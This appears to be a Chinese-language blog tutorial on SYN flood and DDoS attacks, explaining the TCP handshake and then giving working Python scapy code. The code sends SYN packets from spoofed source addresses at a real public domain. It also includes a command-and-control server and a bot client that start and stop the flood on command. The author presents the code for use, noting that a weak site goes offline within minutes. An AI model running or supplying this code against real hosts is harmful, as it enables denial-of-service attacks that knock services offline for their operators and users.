背景:
网络传输层中,一般采用TCP协议,如果要建立连接,客户端会先发送syn包请求,服务器接收,接收后,再传递给客户端ack,syn包,这个时候,客户端再次回应,传回ack包。可是问题就出在,如果我是客户端,只发送一个请求syn包,然后第三次握手的时候,不再往回传ack包,此时服务端是不是就要等待?
在等待的时间里,我是不是可以伪造更多的请求,从而不断消耗服务器的资源,然后直到最后服务器停止服务为止?
上述这种攻击就是syn泛洪攻击。
python中scapy库来实现syn泛洪攻击:
python3安装方式:
sudo pip3 install scapy-python3
注意:scapy库的代码必须运行在root权限下
基本用法:
from scapy.all import *
# 定义一个syn包,其中的格式如下:IP()/TCP(),IP中的src为自己的伪造的ip,dst为目标ip,
# TCP中的dport为目标端口号,网络中普遍为80,flages=‘S’这里的s代表设置的是syn包
pkt = IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
# 发送包,直接用send
send(pkt)
具体来一个例子:
#!/usr/bin/env python3
import random
import socket
import time
from scapy.all import *
# 定义syn洪流函数,tgt为目标ip,dPort为目标端口
def synFlood(tgt,dPort):
# 先任意伪造4个ip地址
srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
'125.130.5.199']
# 选择任意一个端口号
for sPort in range(1024, 65535):
index = random.randrange(4)
# 类似上面那个代码构造IP/TCP包,然后send
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
packet = ipLayer/tcpLayer
send(packet)
domain = "www.baidu.com" #定义你想攻击的域名,不建议是百度哈,别怪我没提醒
tgt = socket.gethostbyname(domain) #利用socket的方法获取域名的ip地址,即dns解析
print(tgt) # 可以打印出来看一下
dPort = 80 # 网络传输常用端口号
synFlood(tgt,dPort) #调用syn洪流函数,然后发送syn包
# 发送完后就可以去看看这个服务器的响应速度了。一般是持续发送几分钟,这个网站就访问不了了
# 前提是这个网站很渣。。哈哈
DDoS攻击
而DDoS攻击是啥?其实就类似上面这个syn洪流,只是DDoS采用的是多个客户端在服务器的命令下,一起像一个网站攻击,类似这样
其实现原理跟syn是一样的,只是他采用了服务端可以直接控制客户端然后发出请求。
具体的服务端与客户端代码我就直接帖上了
服务端:
import socket
import argparse
import threading
socketList = []
# 发送命令到所有的客户机上
def sendCmd(cmd):
print('Send command....')
for sock in socketList:
sock.send(cmd.encode())
# 等待连接,将建立好的连接加入到socketList列表中
def waitConnect(s):
while True:
sock, addr = s.accept()
if sock not in socketList:
socketList.append(sock)
def main():
# 创建tcp服务端
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) #设置端口重用
s.bind(('0.0.0.0',58868))
s.listen(1024)
# 线程创建等待连接请求
t = threading.Thread(target=waitConnect, args=(s,))
t.start()
print("Wait at least a client connection!")
while not len(socketList): # 没有连接则一直等待
pass
print("It has been a client connection")
while True:
print('='*50)
# 命令格式
print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"')
# 等待输入命令
cmd_str = input('please input cmd:')
if len(cmd_str):
if cmd_str[0] == '#':
sendCmd(cmd_str)
if __name__ == '__main__':
main()
客户端:
import argparse
import socket
import sys
import os
from multiprocessing import Process
import random
from scapy.all import *
curProcess = None
# SYN泛洪攻击,就是最开始的那串代码,直接copy过来就好
def synFlood(tgt, dPort):
print("="*100)
print("The syn flood is running")
print('='*100)
srcList = ['11.1.1.2', '10.1.1.102', '33.1.1.2',
'125.130.5.199']
# 任意一个端口号
for sPort in range(1024, 65535):
index = random.randrange(4)
ipLayer = IP(src=srcList[index], dst=tgt)
tcpLayer = TCP(sport=sPort, dport=dPort, flags='S')
packet = ipLayer / tcpLayer
send(packet)
def cmdHandle(sock, parser):
global curProcess
while True:
data = sock.recv(1024).decode()
if len(data) == 0:
print('The data is empty')
return
if data[0] == '#':
try:
# 解析命令
options = parser.parse_args(data[1:].split())
m_host = options.host
m_port = options.port
m_cmd = options.cmd
# print(m_cmd)
# DDOS启动命令
if m_cmd.lower() == 'start':
if curProcess !=None and curProcess.is_alive():
curProcess.terminate()
curProcess = None
os.system('clear')
print('The synFlood is start')
p = Process(target=synFlood, args = (m_host, m_port))
p.start()
curProcess = p
elif m_cmd.lower() == 'stop':
if curProcess.is_alive():
curProcess.terminate()
os.system('clear')
except:
print("Failed to perform the command")
def main():
# 添加需要解析的命令,就是服务器发送过来的命令
# 命令格式:"#-H xxx.xxx.xxx.xxx -p xxxx -c start"
p = argparse.ArgumentParser()
p.add_argument('-H', dest='host', type=str)
p.add_argument('-p', dest='port',type=int)
p.add_argument('-c', dest='cmd', type=str)
print("*" * 40)
try:
# 创建socket对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 这里因为是在本地,所以连接的ip地址为本地ip地址127.0.0.1,端口为服务器端口
s.connect(('127.0.0.1',58868))
print('To connected server was success')
print("=" * 40)
# 处理命令
cmdHandle(s, p)
except Exception as e:
print('The network connected failed')
print('please restart the script')
sys.exit(0)
if __name__ == '__main__':
main()
然后到这里就可以在本地先开启服务端,再开启客户端来实现了哈
记得用sudo哈
当看到客户端是这样的时候
哈哈,完成了。
不过,其实质是跟syn洪流一样哈。只是多了一个包装而已。
END